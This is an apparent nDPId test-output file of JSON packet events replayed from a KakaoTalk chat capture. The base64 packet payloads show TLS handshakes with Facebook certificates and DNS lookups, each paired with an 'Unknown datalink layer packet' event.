+00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":110,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069030,"pkt_ts_usec":979682,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAChebkAAjwYhj638YQIKGFK8AbuKr2AiuSH8GvEDUBCkrAyIAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":110,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02252{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":111,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":1044,"pkt_caplen":1456,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1456,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABaCZMEAAjwaM8h8NRFQKGFK8AbuwmcDC6avamzpegBACnocNAAABAQgKopGWjQALCyYWAwMAbgIAAGoDAz6PGiorbDHMQHs5iFsOrmaGleqKpFcEfDumbgtfeVQNAMArAABCAAAAAP8BAAEAAAsABAMAAQIAIwAAM3QAKQ9zcGR5LzMuMS1mYi0wLjUIc3BkeS8zLjEGc3BkeS8zCGh0dHAvMS4xFgMDDNkLAAzVAAzSAAZwMIIGbDCCBVSgAwIBAgIQBnjbTdvaLb44isb+B0TcyDANBgkqhkiG9w0BAQUFADBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMB4XDTE0MDgyODAwMDAwMFoXDTE1MTAyODEyMDAwMFowYTELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRMwEQYDVQQHEwpNZW5sbyBQYXJrMRcwFQYDVQQKEw5GYWNlYm9vaywgSW5jLjEXMBUGA1UEAwwOKi5mYWNlYm9vay5jb20wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAATY0d01veJZtvubH1QVjNu\/Tli9R764EPwi6dKemPhJKiX7lEbkQpmEUBxfAf0UJTFcTtlk\/cUMs0bSobxwtIeOo4ID5DCCA+AwHwYDVR0jBBgwFoAUUOpzidsp+xCPnuUBINTeeZlIg\/cwHQYDVR0OBBYEFEMJk0D6EUswM+zyh26NcRjPiryOMIICOwYDVR0RBIICMjCCAi6CDiouZmFjZWJvb2suY29tggxmYWNlYm9vay5jb22CCyouZmJzYnguY29tggsqLmZiY2RuLm5ldIIOKi54eC5mYmNkbi5uZXSCDioueHkuZmJjZG4ubmV0ggZmYi5jb22CCCouZmIuY29tghgqLmZhY2Vib29rY29yZXd3d2kub25pb26CFmZhY2Vib29rY29yZXd3d2kub25pb26CGCouZmJjZG4yM2Rzc3IzanFucS5vbmlvboIWZmJjZG4yM2Rzc3IzanFucS5vbmlvboIYKi5mYnNieDJxNG12Y2w2M3B3Lm9uaW9ughZmYnNieDJxNG12Y2w2M3B3Lm9uaW9ughAqLm0uZmFjZWJvb2suY29tgg8qLm1lc3Nlbmdlci5jb22CDW1lc3Nlbmdlci5jb22CGioubS5mYWNlYm9va2NvcmV3d3dpLm9uaW9ughsqLnh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGXh4LmZiY2RuMjNkc3NyM2pxbnEub25pb26CGyoueHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIZeHkuZmJjZG4yM2Rzc3IzanFucS5vbmlvboIOKi54ei5mYmNkbi5uZXSCDHh6LmZiY2RuLm5ldIIbKi54ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughl4ei5mYmNkbjIzZHNzcjNqcW5xLm9uaW9ughhtLmZhY2Vib29rY29yZXd3d2kub25pb24wDgYDVR0PAQH\/BAQDAgOIMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHR8EWjBYMCqgKKAmhiRodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vY2EzLWcyOS5jcmwwKqAooCaGJGh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9jYTMtZzI5LmNybDBCBgNVHSAEOzA5MDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMHsGCCsGAQUFBwEBBG8wbTAkBggrBgEFBQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":111,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":112,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":4584,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzOkAAPwZIVQoYUrwfDURUsJkBu9qbOl7Awu8XgBAAiPp2AAABAQgKAAsLNqKRlo0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":112,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02258{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":113,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":9040,"pkt_caplen":1456,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1456,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUABaCZMUAAjwaM8R8NRFQKGFK8AbuwmcDC7xfamzpegBgCnhv7AAABAQgKopGWjQALCyYHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBFBggrBgEFBQcwAoY5aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUNBLTMuY3J0MAwGA1UdEwEB\/wQCMAAwDQYJKoZIhvcNAQEFBQADggEBAH+E197NT+uv3Gl8Ww0Hto52ip4HI8J9GUO31fXVPsBGGztPmX3vZUA9efuefcpD+c2QQNKsmEtaGlR+Pq2Ym7KusJlTkLZFL0HEeHlPMlC7JkqP3K\/+DkhpxjoDBHNmeFnn45su154px8ew83Ei9w0gkLUTjRJHdw135yyAdeFyLcpRVBaExOCS5rUMN2SxBjQlAqoaeMNHcqm61B\/TRBodNw2f2GV45V33ZCjqHQZ4orzOuwKHpoiBLcUbRodTiFMpead9ct0m\/MnY+4rDyDD+Nd\/OS40p2kN1mfylJsFxllg98sOS0J+KuLubjD1CJFuBsekpEiWyV2GwDB6GLpQABlwwggZYMIIFQKADAgECAhAKXxFNA1sXkRfS79QDjD87MA0GCSqGSIb3DQEBBQUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMDgwNDAyMTIwMDAwWhcNMjIwNDAzMDAwMDAwWjBmMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSUwIwYDVQQDExxEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBDQS0zMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv2EKKRAfXv40N1EI+B77Iu1hvgsNcExQYyZ1FblBiJe28KAVuwhg4ELoBSkQhzaKKGWo7zEHdG02ly8oRmYExyp5JnqZ1Y7DbU+gXq28PZHCWXteNmzAU88ACDI+EGRYEBNpxwzunEJRAPkFRO4kznof7YwRvRKo8xX0HHoxaQEbp+ZdwJpsfgme51JEShA6I+SbtgOvqJy0W5\/US62SjM61ESqqNxiNtMK42FwGjPj\/I701XtR8Pn6DDpGWBZjDsh\/jyGXrqXtdoCzM\/DzZbe3M+ktDjMnUuKVhHLJAtigS37n4X\/7TssnvPbQeS3wcTJk2nj3r7KdoXh3fZ25e+wIDAQABo4IC+jCCAvYwDgYDVR0PAQH\/BAQDAgGGMIIBxgYDVR0gBIIBvTCCAbkwggG1BgtghkgBhv1sAQMAAjCCAaQwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cuZGlnaWNlcnQuY29tL3NzbC1jcHMtcmVwb3NpdG9yeS5odG0wggFkBggrBgEFBQcCAjCCAVYeggFSAEEAbgB5ACAAdQBzAGUAIABvAGYAIAB0AGgAaQBzACAAQwBlAHIAdABpAGYAaQBjAGEAdABlACAAYwBvAG4AcwB0AGkAdAB1AHQAZQBzACAAYQBjAGMAZQBwAHQAYQBuAGMAZQAgAG8AZgAgAHQAaABlACAARABpAGcAaQBDAGUAcgB0ACAAQwBQAC8AQwBQAFMAIABhAG4AZAAgAHQAaABlACAAUgBlAGwAeQBpAG4AZwAgAFAAYQByAHQAeQAgAEEAZwByAGUAZQBtAGUAbgB0ACAAdwBoAGkAYwBoACAAbABpAG0AaQB0ACAAbABpAGEAYgBpAGwAaQB0AHkAIABhAG4AZAAgAA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":113,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":114,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":13587,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzO0AAPwZIVAoYUrwfDURUsJkBu9qbOl7AwvSDgBAAnvTzAAABAQgKAAsLN6KRlo0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":114,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":115,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":13770,"pkt_caplen":863,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":863,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAA0+ZMkAAjwaPQR8NRFQKGFK8AbuwmcDC9IPamzpegBgCni8TAAABAQgKopGWjQALCyZhAHIAZQAgAGkAbgBjAG8AcgBwAG8AcgBhAHQAZQBkACAAaABlAHIAZQBpAG4AIABiAHkAIAByAGUAZgBlAHIAZQBuAGMAZQAuMBIGA1UdEwEB\/wQIMAYBAf8CAQAwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wgY8GA1UdHwSBhzCBhDBAoD6gPIY6aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzAdBgNVHQ4EFgQUUOpzidsp+xCPnuUBINTeeZlIg\/cwDQYJKoZIhvcNAQEFBQADggEBAB7ipUiebNtTOA\/vphoqrOIDQ+2avD6OdRvw\/S4iWawTwGHi5\/rpmc2HCXVUKL9GYNy+USyS8xuRfDEIcOI3ucFbqL2jCwD7GhX9A61YasXHJJlIR0YxHpLvtF9ONMeQvzHB+LGEhtCcAarfilYGzjrpDq6XdF3XcZpCdF\/ejUN83ulV7WkAywXgemFhM9EZTfkI7qA5xSU1tyvED7Ld8aW3DiTEJiiNeXf1L\/BXunwH1OH8zVowV36GEEfdMR\/X\/KLCvzB8XSSq6PmuX2p0ws5rs0bYIb4p1I5eFdZCSucyb6Sxa1GDWL4\/bcf72gMhy2oWGU4K8K2Eyl2Us1p292EWAwMAlAwAAJADABdBBGm4zcsstg3auPHD1vdv0v9zoOXpds1P25+xqK5yCQtDE6tF6H\/OV\/4sbb3rseYzB1as7RbzKnR9pNthjjbDshMGAwBHMEUCIQCAQKI8S1BxyyJSxK7c9z5gYr\/d82OAaicB\/y\/h2bcwTQIgWQktUXH6zkB0\/oslyKb7oecmcL8fdG\/Jh6bbvg+2vRoWAwMABA4AAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":115,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00392{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":116,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":16944,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADQzPEAAPwZIUwoYUrwfDURUsJkBu9qbOl7AwveegBAAtPHCAAABAQgKAAsLN6KRlo0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":116,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":117,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":17096,"pkt_caplen":138,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":138,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAHocCwAANREA2Aq8AQEKGFK8ADVMfgBmmjSqh4GAAAEAAwAAAAAFZ3JhcGgIZmFjZWJvb2sDY29tAAABAAHADAAFAAEAAAVxAAYDYXBpwBLAMAAFAAEAAAV2AAwEc3RhcgRjMTBywBLAQgABAAEAAAARAAQfDURG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":117,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +02196{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":118,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":42670,"pkt_caplen":1401,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1401,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUABWkzPUAAPwZDHQoYUrwfDURUsJkBu9qbOl7AwveegBgAtB0AAAABAQgKAAsLOqKRlo0WAwMARhAAAEJBBDG34c7NydBVRf6mVQzi\/MwMXnUoOd0JvS1otngBVuiN7hS4zUuR30\/zhdtJJxzSSeM9VE5LTcff8eLYgzMoit8UAwMAAQEWAwMAPOTjOPIureyonxmEtL5pzsQRqFdVWUjvrA30RhsCUinFLfuLw6CiFVROC6aSF2Q+Q9x1j\/\/K0sywjsSjGxYDAwAo5OM48i6t7Klm1eGphEvyxwgHXv2\/1TpAFUXIQFgUOE7wWdAWUQPAqxcDAwRx5OM48i6t7KomCmHgEq3wqFBvtbWuM7Ywyxm7Fd9dqS2fFNJbJikaMij5AfSj7adTQtHIHDB9Vng5PJUjNZBIb+10PmUudcmdd3onbG7\/10KhuKfjOg8f60BIie9ygplKEtbwupfKMKjn761f\/7+L0375WBrGgdhw6nwj1uzH5dpc7FfwlMM+F0rFFuhXV5+BI23skk74iuc+um\/iFwsgz5MlBkue5HmpfEAgLxZerCuQpIuZyvDwhD+0Xpu+s+GlwABfVPta0ipXAAYD6XhOWkWm2VHm5EdhhFhdTEp82P2isqLO9bQitnF19DIFqIYdoNdV\/\/Xdgw5Irb4aSca0VRzZQ3yCtuzZ6gNB32qoDQaikxX8ERyLeXK3sgxD9rcxMYgjTlahVUrZXQbXs3FfZnFi9lBSdExo7V7P3XuthuYj15wRy9Inzv90D89GPf1Fz6WpJARCuhexY6iyUlK627t4HnHof\/JWDb1Kv+dHvHtMBenxvSBbsKoe6PIM88JiVeL7bmJlgwq+eIpJHgsWURcJ\/7fAz8oa6CjRFA+XnJay4Z4FVYzaOAwwLlXdO4Mp4QamJN2e2hflftb59C5eEwLBPkrZQrM5EO7I8rSGhGfhKKllgPXhWQtzWt1ssEmF4GdhocuBnvnCbRi7Mr\/krl5lB2oBw4fbHHvIU3ME\/g\/cFFaQ1lxVBRRNhpNcGeFlmpj5jVySoqXle7l0FTxR7jfnvvBoA6BNeSWqICL9DVejAytwJYK62Kf4kQVNPfC6vXq19CBsbjsG3WxZuVZ\/BPhZXbPmAmEProUWlyTgooiIq8QBRmbTJ9X3lBwvaKfmPh4tXAGrDXxDdOEv4BaUQzeK6U4ghv9emooym688U\/VCtARBQBfHb8Fckj4CFPtg7UgAi81lzg+HtRyG11OrNbyRjv3wfmMtk2p4DGQxCptdBMfZiGNJ8b8wRknwaJ6qHi4KKjhwyAz41OI65PSpM0vQE+MWxaz83qWfo8rnp3ltYIpCuJTJFHD4XBA8PE0jcHgHNpny3eOIc2crMSCNkIDRDMmLHaoQ2gIG58IJQG9bsNAqbyR8KAM8o4SM3Nwc4QLvBjhJK3O5mSUIZzmzHaYFL\/wOt3aG30tT+71Q7Wlkvx7kjGYpbexA9FrI9KqSkfDGI+N0oAva+CjNFMg1AmexNMRDZf9K1D8X+P3EsC2wyx1K8KbkjkGHMame9D8hkR4PVDzcFea88UrFc1DhvH\/0luy5q2a7oSC3zK\/tpGeZh2NE7t5h4NWoTcUUI\/HofVaf7svok4P3XilByfZjto2rcvqY9Q4BY1XslLcZ3oUq1o02eix9Yxbvm\/P71dlvwcquOQ4Syw6HF4BoIPkfWU+z+l61FTYWmXGAw2+kbxAjS7LjtHXE9PN9V5DtTIggNSnLMq4z0F75gwHAKwPdQ3zsKyr\/XjvTIuvU5R6+ZAQTOFr3DK1J65yCk37BGPvf\/0dqV6PHb3ndYwshVqZYX1F8EWRTMDI4fdukwwMIQvvX"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":118,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":119,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":42945,"pkt_caplen":76,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADx6qUAAPwYA7AoYUrwfDURGqj0Bu4p9cZMAAAAAoAI5CJu+AAACBAV4BAIICgALCzoAAAAAAQMDBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":119,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":120,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":61347,"pkt_caplen":381,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":381,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAW0cEEAAjwavL9Jn8A8KGFK8AbuTvWC6vGyv6iasUBijF6laAAAXAwEBQGbcQFXOfHGnPcXQugtPbqNy\/chSOt8Ff1Fqw1B8BmIGZ6rCPn\/bEoySTtzfEJsR6snCieKSCV48kVm9Fgg2TBvKglcij1xBILyfP1KjT2knn0QPvKquDfEF7I546jrGMKJ\/1v0k98q1uDgVgPPxPFAS1cvhAnXzQPPiw9z+mRud4dXPZymtvfA9yMHvxWnjOxua+\/ZDhRg2IDSI6Ljj2sgOnVM4RwRnq\/g9QE+6Jsd01JMAJWIVGKu9hJFJtSi8uNwWTKDjQj1KoLKtF1TglG9oLau5Aueb6u6cs+rOzsEPU5WqAPb1rW76cOGyKINNhKEAZ6scxY73YrhxY7cGsT5xEb9gccPg8FrRlCbgtA16s2XsUXasE19AXG\/ZACXRsleMiamBnKe3SraIyEjmDNtcAJC68bkR8KCRyrPJVUxx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":120,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":121,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":79901,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwwtUAA+AaR7x8NREYKGFK8AbuqPWAZ05aKfXGUYBIRHOtUAAACBAV4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":121,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":122,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":83289,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACh6qkAAPwYA\/woYUrwfDURGqj0Bu4p9cZRgGdOXUBA5CNrpAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":122,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +01137{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":123,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":83594,"pkt_caplen":621,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":621,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAl16q0AAPwb+yAoYUrwfDURGqj0Bu4p9cZRgGdOXUBg5CM7tAAAWAwECMAEAAiwDAzthSakX6Nys0EmE1wPJQXQGNb7fzUO2auSBp3pzzdruINH9Cd3eMOIjz4Amf0HcxZLKnDb5BWXRj6aZ8z64ZOOBAJbAMMAswCjAJMAUwAoApQCjAKEAnwBrAGoAaQBoADkAOAA3ADbAMsAuwCrAJsAPwAUAnQA9ADXAL8ArwCfAI8ATwAkApACiAKAAngBnAEAAPwA+ADMAMgAxADDAMcAtwCnAJcAOwAQAnAA8AC\/AEcAHwAzAAgAFAATAEsAIABYAEwAQAA3ADcADAAoAFQASAA8ADAAJAP8BAAFNAAAAFwAVAAASZ3JhcGguZmFjZWJvb2suY29tAAsABAMAAQIACgA6ADgADgANABkAHAALAAwAGwAYAAkACgAaABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAMBPW8XYuWXc4wYgZOQ6d0T60VO\/cyNe14Z5IjVgMFekE6dQ7u4U9FnQj9Gdy1GUVunfKf6noZBglfKqBP\/YL5CHT93Ljqw5QntaaNZ5kvi+qnkAbVlF3Ab+szOzcduxUvTGYEZP5N4eYbzBK0XGbgzpW6gNtQzHAZ4wCELvRkl\/I\/OlcBgG6SRo\/Rnk4jB4P3zWj7gq\/CUy2yxPClj1804ftHYBJ1lTdWKJLEjp5LhGRTLFHNFFHZzp8G9wkcJTX3IADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMzdAAA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":123,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":124,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":100135,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAACgriEAAPwbw\/AoYUrzSZ\/APk70Bu6\/qJqxgur2xUBBzAJMNAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":124,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":125,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":127600,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACwAAEAAjgYspR8NREYKGFK8AbuqPWAZ05eKfXGUYBClZFyHAAABAQEB"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":125,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00377{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":126,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":131598,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACjeLEAAjwZNfB8NREYKGFK8AbuqPWAZ05eKfXPJUBCjUm5qAAA="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":126,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00418{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":127,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":167395,"pkt_caplen":85,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":85,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAEUAAEAAQBHSFwoYUrwKvAEBD7EANQAxznCJ\/wEAAAEAAAAAAAAKZGV2ZWxvcGVycwhmYWNlYm9vawNjb20AAAEAAQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":127,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00748{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":128,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":168158,"pkt_caplen":326,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":326,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAATaZM0AAjwaRWR8NRFQKGFK8AbuwmcDC957amz+TgBgClXT0AAABAQgKopGXNgALCzoWAwMAygQAAMYAAU\/wAMBVHjamp1t+k3aO+5WCeTt+f0Mn4qniaX\/FZd\/VQ2Tp46vrWFw57jV912dRcSdO8HzZQNIm6laX4t1LURyW0VCf46c1zE9Vzp9xa\/X+dr2du3yuL7BfmnzfuI9r5LpQP+4s1t92fSkjv8w2xSWFQtxM+q88564Ji4ONs\/QHo+VjZKQsG403b14UPkQjBg2dtn0ClHdmFrCsiwuOFJh2y0YnLgOAZD7ae\/TYAuVLKJPntFrqj4LBqCnU0j21wE6LGu8UAwMAAQEWAwMAKJruu5VbafH3STS42RhL4saKJbcTH\/lsE1g5BxcgBJ8dk160d\/X\/VM0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":128,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":129,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069031,"pkt_ts_usec":168738,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAG2ZNEAAjwaSIR8NRFQKGFK8AbuwmcDC+KDamz+TgBgClWBVAAABAQgKopGXNgALCzoXAwMANJruu5VbafH4HCo2Lued2HtDNlUR3bKRAfTGJJefp5xx\/jRoAHPtVYTMzij7PRWD+9jgkws="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":129,"source":"KakaoTalk_chat.pcap","alias":"nDPId-test","datalink":113} 